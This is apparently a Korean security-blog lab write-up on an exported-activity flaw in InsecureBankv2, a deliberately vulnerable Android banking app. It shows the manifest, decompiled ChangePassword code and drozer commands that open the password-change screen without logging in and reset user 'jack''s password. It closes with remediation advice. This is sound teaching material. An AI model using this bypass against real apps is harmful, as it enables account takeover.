외로운 Nova의 작업실

insecurebankv2 - 액티비티 컴포넌트 취약점 본문

Mobile App Penetesting/Android App Vulnerability

insecurebankv2 - 액티비티 컴포넌트 취약점

Nova_ 2023. 5. 11. 16:41

- 취약점 소개

액티비티는 안드로이드 앱에서 화면을 의미합니다. 사용자가 정상적인 방법으로 로그인 화면 -> 비밀번호 변경 화면 순으로 접속해야하지만, 액티비티 취약점이 있는경우 로그인 화면없이 비밀번호 변경 화면으로 건너뛸 수 있습니다.

 

- 취약점 진단

매니페스트 파일에 activity 선언태그 안에 exported 속성이 true로 되어있다면 다른 외부에서 액티비티 화면을 불러올 수 있음을 의미합니다. 따라서 드로저를 활용해 매니페스트 파일을 봐보겠습니다.

dz> run app.package.manifest com.android.insecurebankv2
<manifest versionCode="1"
          versionName="1.0"
          package="com.android.insecurebankv2"
          platformBuildVersionCode="22"
          platformBuildVersionName="5.1.1-1819727">
  <uses-sdk minSdkVersion="15"
            targetSdkVersion="22">
  </uses-sdk>
  <uses-permission name="android.permission.INTERNET">
  </uses-permission>
  <uses-permission name="android.permission.WRITE_EXTERNAL_STORAGE">
  </uses-permission>
  <uses-permission name="android.permission.SEND_SMS">
  </uses-permission>
  <uses-permission name="android.permission.USE_CREDENTIALS">
  </uses-permission>
  <uses-permission name="android.permission.GET_ACCOUNTS">
  </uses-permission>
  <uses-permission name="android.permission.READ_PROFILE">
  </uses-permission>
  <uses-permission name="android.permission.READ_CONTACTS">
  </uses-permission>
  <uses-permission name="android.permission.READ_PHONE_STATE">
  </uses-permission>
  <uses-permission name="android.permission.READ_EXTERNAL_STORAGE"
                   maxSdkVersion="18">
  </uses-permission>
  <uses-permission name="android.permission.READ_CALL_LOG">
  </uses-permission>
  <uses-permission name="android.permission.ACCESS_NETWORK_STATE">
  </uses-permission>
  <uses-permission name="android.permission.ACCESS_COARSE_LOCATION">
  </uses-permission>
  <uses-feature glEsVersion="0x20000"
                required="true">
  </uses-feature>
  <application theme="@16974105"
               label="@2131165248"
               icon="@2130903040"
               debuggable="true"
               allowBackup="true">
    <activity label="@2131165248"
              name="com.android.insecurebankv2.LoginActivity">
      <intent-filter>
        <action name="android.intent.action.MAIN">
        </action>
        <category name="android.intent.category.LAUNCHER">
        </category>
      </intent-filter>
    </activity>
    <activity label="@2131165271"
              name="com.android.insecurebankv2.FilePrefActivity"
              windowSoftInputMode="0x34">
    </activity>
    <activity label="@2131165268"
              name="com.android.insecurebankv2.DoLogin">
    </activity>
    <activity label="@2131165275"
              name="com.android.insecurebankv2.PostLogin"
              exported="true">
    </activity>
    <activity label="@2131165278"
              name="com.android.insecurebankv2.WrongLogin">
    </activity>
    <activity label="@2131165269"
              name="com.android.insecurebankv2.DoTransfer"
              exported="true">
    </activity>
    <activity label="@2131165277"
              name="com.android.insecurebankv2.ViewStatement"
              exported="true">
    </activity>
    <provider name="com.android.insecurebankv2.TrackUserContentProvider"
              exported="true"
              authorities="com.android.insecurebankv2.TrackUserContentProvider">
    </provider>
    <receiver name="com.android.insecurebankv2.MyBroadCastReceiver"
              exported="true">
      <intent-filter>
        <action name="theBroadcast">
        </action>
      </intent-filter>
    </receiver>
    <activity label="@2131165267"
              name="com.android.insecurebankv2.ChangePassword"
              exported="true">
    </activity>
    <activity theme="@16973839"
              name="com.google.android.gms.ads.AdActivity"
              configChanges="0xfb0">
    </activity>
    <activity theme="@2131296479"
              name="com.google.android.gms.ads.purchase.InAppPurchaseActivity">
    </activity>
    <meta-data name="com.google.android.gms.version"
               value="@2131427332">
    </meta-data>
    <meta-data name="com.google.android.gms.wallet.api.enabled"
               value="true">
    </meta-data>
    <receiver name="com.google.android.gms.wallet.EnableWalletOptimizationReceiver"
              exported="false">
      <intent-filter>
        <action name="com.google.android.gms.wallet.ENABLE_WALLET_OPTIMIZATION">
        </action>
      </intent-filter>
    </receiver>
  </application>
</manifest>

ChangePassword 액티비티의 경우 exported 속성이 true로 되어있는 것을 확인할 수 있습니다. 드로저로 노출된 액티비티들을 정리해서 봐보겠습니다.

 run app.activity.info -a com.android.insecurebankv2

5개의 액티비티가 노출되어있음을 알 수 있습니다. 실제 changepassword 액티비티의 취약점을 악용하여 jack의 비밀번호를 변경해보겠습니다. 먼저 인시큐어뱅크를 켜줍니다.

첫번째 로그인화면입니다. 로그인 없이 ChangePassword 액티비티로 건너뛰어보겠습니다.

run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.ChangePassword

근데, username에 아무것도 입력할 수 없습니다. 아마 username은 사용자 입력값이 아닌 intent값을 받아오는 것으로 알 수 있습니다. 정확한 정보를 위해 디컴파일된 소스코드를 봐보겠습니다. changePassword.class 파일입니다.

package com.android.insecurebankv2;

import android.app.Activity;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.preference.PreferenceManager;
import android.text.TextUtils;
import android.view.Menu;
import android.view.MenuItem;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import java.io.BufferedReader;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class ChangePassword extends Activity {
   private static final String PASSWORD_PATTERN = "((?=.*\\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[@#$%]).{6,20})";
   Button changePassword_button;
   EditText changePassword_text;
   private Matcher matcher;
   private Pattern pattern;
   String protocol = "http://";
   BufferedReader reader;
   String result;
   SharedPreferences serverDetails;
   String serverip = "";
   String serverport = "";
   TextView textView_Username;
   String uname;

   static Pattern access$000(ChangePassword var0) {
      return var0.pattern;
   }

   static Pattern access$002(ChangePassword var0, Pattern var1) {
      var0.pattern = var1;
      return var1;
   }

   static Matcher access$100(ChangePassword var0) {
      return var0.matcher;
   }

   static Matcher access$102(ChangePassword var0, Matcher var1) {
      var0.matcher = var1;
      return var1;
   }

   static void access$200(ChangePassword var0, String var1, String var2) {
      var0.broadcastChangepasswordSMS(var1, var2);
   }

   private void broadcastChangepasswordSMS(String var1, String var2) {
      if (TextUtils.isEmpty(var1.toString().trim())) {
         System.out.println("Phone number Invalid.");
      } else {
         Intent var3 = new Intent();
         var3.setAction("theBroadcast");
         var3.putExtra("phonenumber", var1);
         var3.putExtra("newpass", var2);
         this.sendBroadcast(var3);
      }

   }

   public void callPreferences() {
      this.startActivity(new Intent(this, FilePrefActivity.class));
   }

   protected void onCreate(Bundle var1) {
      super.onCreate(var1);
      this.setContentView(2130968601);
      this.serverDetails = PreferenceManager.getDefaultSharedPreferences(this);
      this.serverip = this.serverDetails.getString("serverip", (String)null);
      this.serverport = this.serverDetails.getString("serverport", (String)null);
      this.changePassword_text = (EditText)this.findViewById(2131558503);
      this.uname = this.getIntent().getStringExtra("uname");
      System.out.println("newpassword=" + this.uname);
      this.textView_Username = (TextView)this.findViewById(2131558502);
      this.textView_Username.setText(this.uname);
      this.changePassword_button = (Button)this.findViewById(2131558504);
      this.changePassword_button.setOnClickListener(new 1(this));
   }

   public boolean onCreateOptionsMenu(Menu var1) {
      this.getMenuInflater().inflate(2131623938, var1);
      return true;
   }

   public boolean onOptionsItemSelected(MenuItem var1) {
      boolean var3 = true;
      int var2 = var1.getItemId();
      if (var2 == 2131558557) {
         this.callPreferences();
      } else if (var2 == 2131558558) {
         Intent var4 = new Intent(this.getBaseContext(), LoginActivity.class);
         var4.addFlags(67108864);
         this.startActivity(var4);
      } else {
         var3 = super.onOptionsItemSelected(var1);
      }

      return var3;
   }
}

가장 중요한 oncreat() 함수부분을 보겠습니다.

protected void onCreate(Bundle var1) {
      super.onCreate(var1);
      this.setContentView(2130968601);
      this.serverDetails = PreferenceManager.getDefaultSharedPreferences(this);
      this.serverip = this.serverDetails.getString("serverip", (String)null);
      this.serverport = this.serverDetails.getString("serverport", (String)null);
      this.changePassword_text = (EditText)this.findViewById(2131558503);
      this.uname = this.getIntent().getStringExtra("uname");
      System.out.println("newpassword=" + this.uname);
      this.textView_Username = (TextView)this.findViewById(2131558502);
      this.textView_Username.setText(this.uname);
      this.changePassword_button = (Button)this.findViewById(2131558504);
      this.changePassword_button.setOnClickListener(new 1(this));
   }

가운데에 this.uname 변수에 intent로 extra("uname")을 받아오고 있습니다. 이것은 아래에 this.textView_Username.setText(this.uname) 코드로 username에 넣는 것을 확인할 수 있습니다. 즉, 액티비티를 실행할때 uname이라는 변수에 값을 담아서 intent로 넘겨주면 그 값이 username에 전달되는 것을 알 수 있습니다. 실제 공격이라면 아무거나해도되지만 이번에는 jack을 해보겠습니다.

run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.ChangePassword --extra string uname jack

jack이 들어갔습니다. 이제 바꾸고싶은 비밀번호로 변경하시면됩니다. Nov@123으로 변경해보겠습니다.

서버에 위처럼 뜨게됩니다. 이제 이걸로 로그인해보겠습니다.

잘 되는 것을 확인할 수 있습니다.


- 취약점 대응 방안

액티비티를 강제로 실행하지 못하도록 exported 속성을 false로 변경해야합니다.

사용자 인증절차를 추가하여 인증되지않은 사용자의 접근을 차단하는 방법을 추가할 수 도 있습니다.

Comments